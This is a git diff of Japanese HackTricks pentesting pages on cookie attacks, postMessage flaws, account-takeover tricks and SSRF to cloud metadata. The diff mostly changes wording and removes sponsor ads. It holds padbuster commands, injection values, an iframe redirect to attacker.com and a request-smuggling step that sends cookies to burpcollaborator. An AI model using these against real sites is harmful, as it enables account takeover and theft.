* 非常に**似た**ユーザー名でたくさんの**アカウント**を作成し、アルゴリズムがどのように機能しているかを**推測**してみてください。
|
||||
* **ユーザー名をブルートフォース**してみてください。クッキーがあなたのユーザー名の認証方法としてのみ保存されている場合、ユーザー名"**Bmin**"でアカウントを作成し、クッキーのすべての**ビット**を**ブルートフォース**することができます。なぜなら、あなたが試すクッキーの1つは"**admin**"に属するものだからです。
|
||||
|
@ -232,7 +225,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
|||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbusterは複数回試行し、どの条件がエラー条件(無効なもの)であるかを尋ねます。
|
||||
Padbusterは複数回の試行を行い、どの条件がエラー条件(無効なもの)であるかを尋ねます。
|
||||
|
||||
その後、クッキーの復号を開始します(数分かかる場合があります)。
|
||||
|
||||
|
@ -244,13 +237,13 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
|
||||
**CBC-MAC**
|
||||
|
||||
クッキーには何らかの値が含まれ、CBCを使用して署名される可能性があります。その場合、値の整合性は、同じ値を使用してCBCで作成された署名です。IVとしてヌルベクターを使用することが推奨されるため、このタイプの整合性チェックは脆弱である可能性があります。
|
||||
クッキーには何らかの値があり、CBCを使用して署名される可能性があります。すると、その値の整合性は、同じ値を使用してCBCで作成された署名になります。IVとしてヌルベクターを使用することが推奨されるため、このタイプの整合性チェックは脆弱である可能性があります。
|
||||
|
||||
**攻撃**
|
||||
|
||||
1. ユーザー名 **administ** の署名を取得 = **t**
|
||||
2. ユーザー名 **rator\x00\x00\x00 XOR t** の署名を取得 = **t'**
|
||||
3. クッキーに値 **administrator+t'** を設定 (**t'** は **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** の有効な署名になります)
|
||||
3. クッキーに値 **administrator+t'** を設定する (**t'** は **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** の有効な署名になります)
|
||||
|
||||
**ECB**
|
||||
|
||||
|
@ -263,30 +256,25 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
|
||||
例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」というユーザーを作成し、クッキーにパターンがあるか確認します(ECBは同じキーで各ブロックを暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります)。
|
||||
|
||||
使用されるブロックのサイズでパターンが存在するはずです。したがって、「a」をブロックのサイズ分繰り返した後に「admin」を追加したユーザー名を作成できます。その後、クッキーから「a」のブロックの暗号化パターンを削除します。そうすれば、ユーザー名「admin」のクッキーが得られます。
|
||||
使用されるブロックのサイズでパターンが存在するはずです。したがって、「a」をブロックのサイズ分繰り返した後に「admin」を追加したユーザー名を作成できます。その後、クッキーから「a」のブロックの暗号化パターンを削除することができます。そして、ユーザー名「admin」のクッキーを得ることができます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,26 @@
|
|||
# PostMessage Vulnerabilities
|
||||
# PostMessage 脆弱性
|
||||
|
||||
## PostMessage Vulnerabilities
|
||||
## PostMessage 脆弱性
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS ハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP ハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## **PostMessage**を送信
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Send **PostMessage**
|
||||
|
||||
**PostMessage** は、メッセージを送信するために次の関数を使用します:
|
||||
**PostMessage**は、メッセージを送信するために次の関数を使用します:
|
||||
```bash
|
||||
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
||||
|
||||
|
@ -61,7 +48,7 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
|||
```
|
||||
注意してください、**targetOrigin** は '\*' または _https://company.com_ のようなURLである可能性があります。\
|
||||
**第二のシナリオ**では、**メッセージはそのドメインにのみ送信される**(ウィンドウオブジェクトのオリジンが異なっていても)。\
|
||||
**ワイルドカード**が使用される場合、**メッセージは任意のドメインに送信される可能性があり**、ウィンドウオブジェクトのオリジンに送信されます。
|
||||
**ワイルドカード**が使用されている場合、**メッセージは任意のドメインに送信される可能性があり**、ウィンドウオブジェクトのオリジンに送信されます。
|
||||
|
||||
### iframeの攻撃と**targetOrigin**のワイルドカード
|
||||
|
||||
|
@ -84,7 +71,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
|||
## addEventListenerの悪用
|
||||
|
||||
**`addEventListener`** は、JSが**`postMessages`**を期待する関数を宣言するために使用する関数です。\
|
||||
以下のようなコードが使用されます:
|
||||
次のようなコードが使用されます:
|
||||
```javascript
|
||||
window.addEventListener("message", (event) => {
|
||||
if (event.origin !== "http://example.org:8080")
|
||||
|
@ -104,7 +91,7 @@ return;
|
|||
|
||||
![](<../../.gitbook/assets/image (618) (1).png>)
|
||||
|
||||
* **開発者ツールの**_Elements --> Event Listeners_に移動する
|
||||
* ブラウザの開発者ツールで**_Elements --> Event Listeners_**に移動する
|
||||
|
||||
![](<../../.gitbook/assets/image (396).png>)
|
||||
|
||||
|
@ -113,20 +100,20 @@ return;
|
|||
### オリジンチェックのバイパス
|
||||
|
||||
* **`event.isTrusted`**属性は、ユーザーの正当なアクションによって生成されたイベントに対してのみ`True`を返すため、安全と見なされます。正しく実装されていればバイパスは難しいですが、セキュリティチェックにおけるその重要性は注目に値します。
|
||||
* PostMessageイベントでのオリジン検証に**`indexOf()`**を使用することは、バイパスされる可能性があります。この脆弱性を示す例は次のとおりです:
|
||||
* **`indexOf()`**を使用したPostMessageイベントのオリジン検証は、バイパスされる可能性があります。この脆弱性を示す例は次のとおりです:
|
||||
|
||||
```javascript
|
||||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||||
```
|
||||
* `String.prototype.search()`の**`search()`**メソッドは、文字列ではなく正規表現用に設計されています。正規表現以外のものを渡すと、暗黙的に正規表現に変換されるため、このメソッドは潜在的に安全ではありません。これは、正規表現ではドット(.)がワイルドカードとして機能し、特別に作成されたドメインで検証をバイパスできるためです。例えば:
|
||||
* **`search()`**メソッドは`String.prototype.search()`からのもので、正規表現用に設計されています。正規表現以外のものを渡すと、暗黙的に正規表現に変換されるため、このメソッドは潜在的に安全ではありません。これは、正規表現ではドット(.)がワイルドカードとして機能し、特別に作成されたドメインで検証をバイパスできるためです。例えば:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
* **`match()`**関数は、`search()`と同様に正規表現を処理します。正規表現が不適切に構成されていると、バイパスされる可能性があります。
|
||||
* **`escapeHtml`**関数は、文字をエスケープすることで入力をサニタイズすることを目的としています。しかし、新しいエスケープされたオブジェクトを作成するのではなく、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作され、その制御されたプロパティが`hasOwnProperty`を認識しない場合、`escapeHtml`は期待通りに機能しません。以下の例で示されています:
|
||||
* **`match()`**関数は、`search()`と同様に正規表現を処理します。正規表現が不適切に構造化されている場合、バイパスされる可能性があります。
|
||||
* **`escapeHtml`**関数は、文字をエスケープすることで入力をサニタイズすることを目的としています。しかし、新しいエスケープされたオブジェクトを作成するのではなく、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作され、その制御されたプロパティが`hasOwnProperty`を認識しない場合、`escapeHtml`は期待通りに機能しません。以下の例で示されています:
|
||||
|
||||
* 期待される失敗:
|
||||
* 期待される失敗:
|
||||
|
||||
```javascript
|
||||
result = u({
|
||||
|
@ -134,21 +121,21 @@ message: "'\"<b>\\"
|
|||
});
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
* エスケープをバイパス:
|
||||
* エスケープをバイパス:
|
||||
|
||||
```javascript
|
||||
result = u(new Error("'\"<b>\\"));
|
||||
result.message; // "'"<b>\"
|
||||
```
|
||||
|
||||
この脆弱性の文脈では、`File`オブジェクトはその読み取り専用の`name`プロパティのために特に悪用されやすいです。このプロパティは、テンプレートで使用されるときに`escapeHtml`関数によってサニタイズされず、潜在的なセキュリティリスクを引き起こします。
|
||||
この脆弱性の文脈において、`File`オブジェクトはその読み取り専用の`name`プロパティのために特に悪用されやすいです。このプロパティはテンプレートで使用されるとき、`escapeHtml`関数によってサニタイズされず、潜在的なセキュリティリスクを引き起こします。
|
||||
* JavaScriptの`document.domain`プロパティは、スクリプトによってドメインを短縮するために設定でき、同じ親ドメイン内での同一オリジンポリシーの適用を緩和します。
|
||||
|
||||
### e.origin == window.originのバイパス
|
||||
|
||||
%%%%%%を使用して**サンドボックス化されたiframe**内にウェブページを埋め込む場合、iframeのオリジンはnullに設定されることを理解することが重要です。これは、**サンドボックス属性**とそのセキュリティおよび機能への影響を扱う際に特に重要です。
|
||||
%%%%%%を使用して**サンドボックス化されたiframe**内にウェブページを埋め込む際、iframeのオリジンはnullに設定されることを理解することが重要です。これは、**サンドボックス属性**とそのセキュリティおよび機能への影響を扱う際に特に重要です。
|
||||
|
||||
サンドボックス属性に**`allow-popups`**を指定することで、iframe内から開かれたポップアップウィンドウは、その親のサンドボックス制限を継承します。これは、**`allow-popups-to-escape-sandbox`**属性も含まれていない限り、ポップアップウィンドウのオリジンも同様に`null`に設定され、iframeのオリジンと一致することを意味します。
|
||||
サンドボックス属性に**`allow-popups`**を指定すると、iframe内から開かれたポップアップウィンドウは親のサンドボックス制限を継承します。これは、**`allow-popups-to-escape-sandbox`**属性も含まれていない限り、ポップアップウィンドウのオリジンも同様に`null`に設定され、iframeのオリジンと一致することを意味します。
|
||||
|
||||
したがって、これらの条件下でポップアップが開かれ、iframeからポップアップに**`postMessage`**を使用してメッセージが送信されると、送信側と受信側の両方のオリジンが`null`に設定されます。この状況は、**`e.origin == window.origin`**が真(`null == null`)と評価されるシナリオを引き起こします。なぜなら、iframeとポップアップは同じオリジン値`null`を共有しているからです。
|
||||
|
||||
|
@ -167,9 +154,9 @@ if( received_message.source !== window ) {
|
|||
return;
|
||||
}
|
||||
```
|
||||
メッセージの **`e.source`** を null にするには、**postMessage** を **送信** し、**即座に削除**される **iframe** を作成します。
|
||||
メッセージの **`e.source`** を null にするには、**postMessage** を **送信** し、**すぐに削除される** **iframe** を作成します。
|
||||
|
||||
詳細については **読んでください:**
|
||||
詳細については、**読んでください:**
|
||||
|
||||
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
|
||||
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
|
||||
|
@ -177,7 +164,7 @@ return;
|
|||
|
||||
### X-Frame-Header バイパス
|
||||
|
||||
これらの攻撃を実行するには、理想的には **被害者のウェブページ** を `iframe` 内に配置できる必要があります。しかし、`X-Frame-Header` のようなヘッダーはその **動作** を **防ぐ** ことがあります。\
|
||||
これらの攻撃を実行するには、理想的には **被害者のウェブページ** を `iframe` 内に配置できる必要があります。しかし、`X-Frame-Header` のようなヘッダーは、その **動作** を **防ぐ** ことがあります。\
|
||||
そのようなシナリオでは、あまりステルス性のない攻撃を使用することができます。脆弱なウェブアプリケーションを新しいタブで開き、それと通信することができます:
|
||||
```markup
|
||||
<script>
|
||||
|
@ -187,7 +174,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
|||
```
|
||||
### 子ページに送信されたメッセージをメインページをブロックして盗む
|
||||
|
||||
以下のページでは、データを送信する前に**メイン**ページを**ブロック**し、**子**で**XSS**を悪用してデータを受信する前に**漏洩**させることで、**子iframe**に送信された**機密postmessageデータ**をどのように盗むことができるかを示しています。
|
||||
以下のページでは、データを送信する前に**メイン**ページを**ブロック**し、**子**で**XSS**を悪用して**データを漏洩**させることで、**子iframe**に送信された**機密のpostmessageデータ**をどのように盗むことができるかを示しています:
|
||||
|
||||
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
||||
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
||||
|
@ -195,7 +182,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
|||
|
||||
### iframeの位置を変更してメッセージを盗む
|
||||
|
||||
X-Frame-Headerがないウェブページをiframe化できる場合、別のiframeを含む場合、**その子iframeの位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を彼が**制御**するページに**変更**し、メッセージを**盗む**ことができます。
|
||||
X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、**その子iframeの位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を彼が**制御**するページに**変更**し、メッセージを**盗む**ことができます:
|
||||
|
||||
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
||||
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
||||
|
@ -203,7 +190,7 @@ X-Frame-Headerがないウェブページをiframe化できる場合、別のifr
|
|||
|
||||
### postMessageによるプロトタイプ汚染および/またはXSS
|
||||
|
||||
`postMessage`を通じて送信されたデータがJSによって実行されるシナリオでは、**ページ**を**iframe**化し、`postMessage`を介してエクスプロイトを送信することで**プロトタイプ汚染/XSS**を**悪用**できます。
|
||||
`postMessage`を通じて送信されたデータがJSによって実行されるシナリオでは、**ページ**を**iframe**し、`postMessage`を介してエクスプロイトを送信することで**プロトタイプ汚染/XSS**を**悪用**できます。
|
||||
|
||||
**postMessage**を通じての**非常に良く説明されたXSS**のいくつかは、[https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)で見つけることができます。
|
||||
|
||||
|
@ -235,17 +222,6 @@ For **more information**:
|
|||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||||
* To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **stealer malwares** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,19 +15,6 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウントの乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 登録乗っ取り
|
||||
|
||||
|
@ -38,23 +25,23 @@ WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウ
|
|||
* 大文字
|
||||
* \+1@
|
||||
* メールにドットを追加する
|
||||
* メール名に特殊文字(%00, %09, %20)
|
||||
* メール名に特殊文字を含める (%00, %09, %20)
|
||||
* メールの後に黒い文字を入れる:`test@test.com a`
|
||||
* victim@gmail.com@attacker.com
|
||||
* victim@attacker.com@gmail.com
|
||||
|
||||
### ユーザー名列挙
|
||||
|
||||
アプリケーション内でユーザー名がすでに登録されているかどうかを確認する。
|
||||
アプリケーション内でユーザー名がすでに登録されているかどうかを確認できるかチェックする。
|
||||
|
||||
### パスワードポリシー
|
||||
|
||||
ユーザーを作成する際にパスワードポリシーを確認する(弱いパスワードが使用できるか確認する)。\
|
||||
その場合、資格情報をブルートフォース攻撃することを試みるかもしれません。
|
||||
ユーザーを作成する際にパスワードポリシーを確認する(弱いパスワードを使用できるか確認する)。\
|
||||
その場合、資格情報をブルートフォース攻撃することを試みるかもしれない。
|
||||
|
||||
### SQLインジェクション
|
||||
|
||||
[**このページを確認してください**](sql-injection/#insert-statement)アカウントの乗っ取りを試みたり、登録フォームを通じて情報を抽出する方法を学ぶために**SQLインジェクション**を使用します。
|
||||
[**このページを確認**](sql-injection/#insert-statement)して、アカウントの乗っ取りを試みたり、登録フォームを通じて情報を抽出する方法を学ぶ。
|
||||
|
||||
### Oauth乗っ取り
|
||||
|
||||
|
@ -70,12 +57,12 @@ WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウ
|
|||
|
||||
### メール変更
|
||||
|
||||
登録後、メールを変更し、この変更が正しく検証されるか、任意のメールに変更できるか確認する。
|
||||
登録後、メールを変更して、この変更が正しく検証されるか、任意のメールに変更できるか確認する。
|
||||
|
||||
### その他のチェック
|
||||
|
||||
* **使い捨てメール**が使用できるか確認する
|
||||
* **長い** **パスワード** (>200)は**DoS**を引き起こす
|
||||
* **使い捨てメール**を使用できるか確認する
|
||||
* **長い** **パスワード** (>200) は **DoS** を引き起こす
|
||||
* **アカウント作成のレート制限を確認する**
|
||||
* username@**burp\_collab**.netを使用し、**コールバック**を分析する
|
||||
|
||||
|
@ -134,7 +121,7 @@ email=victim@mail.com|hacker@mail.com
|
|||
* 生年月日
|
||||
* 暗号化
|
||||
* 数字のみ
|
||||
* 小さなトークンシーケンス(\[A-Z,a-z,0-9\]の間の文字)
|
||||
* 小さなトークンシーケンス(文字は\[A-Z,a-z,0-9]の間)
|
||||
* トークンの再利用
|
||||
* トークンの有効期限
|
||||
|
||||
|
@ -148,7 +135,7 @@ email=victim@mail.com|hacker@mail.com
|
|||
|
||||
1. 被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:`"admin "`
|
||||
2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
|
||||
3. あなたのメールに送信されたトークンを使用して被害者のパスワードをリセットします。
|
||||
3. あなたのメールに送信されたトークンを使用して、被害者のパスワードをリセットします。
|
||||
4. 新しいパスワードで被害者のアカウントに接続します。
|
||||
|
||||
プラットフォームCTFdはこの攻撃に対して脆弱でした。\
|
||||
|
@ -162,7 +149,7 @@ email=victim@mail.com|hacker@mail.com
|
|||
|
||||
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
|
||||
1\. **smuggler**を使用してHTTPリクエストスムーグリングのタイプ(CL、TE、CL.TE)を検出します。\
|
||||
1\. **smuggler**を使用してHTTPリクエストスムグリングのタイプ(CL、TE、CL.TE)を検出します。\
|
||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
2\. 次のデータで`POST / HTTP/1.1`を上書きするリクエストを作成します:\
|
||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 被害者をburpcollabにオープンリダイレクトし、クッキーを盗むことを目的としています。\
|
||||
|
@ -202,17 +189,6 @@ JSON Web Tokenはユーザーを認証するために使用されることがあ
|
|||
|
||||
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -222,9 +198,9 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
|
|||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,26 +15,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## AWS
|
||||
|
||||
### AWS EC2環境におけるSSRFの悪用
|
||||
|
||||
**メタデータ**エンドポイントは、任意のEC2マシンの内部からアクセスでき、興味深い情報を提供します。URLは`http://169.254.169.254`でアクセス可能です([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
**メタデータ**エンドポイントは、任意のEC2マシン内からアクセスでき、興味深い情報を提供します。URLは`http://169.254.169.254`でアクセス可能です([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
|
||||
メタデータエンドポイントには**2つのバージョン**があります。**最初の**バージョンは、**GET**リクエストを介してエンドポイントに**アクセス**することを許可します(したがって、**SSRFがこれを悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**トークン**を要求するために**PUT**リクエストを送信し、**HTTPヘッダー**を使用して、そのトークンを使って別のHTTPヘッダーでメタデータにアクセスする必要があります(したがって、**SSRFで悪用するのがより複雑です**)。
|
||||
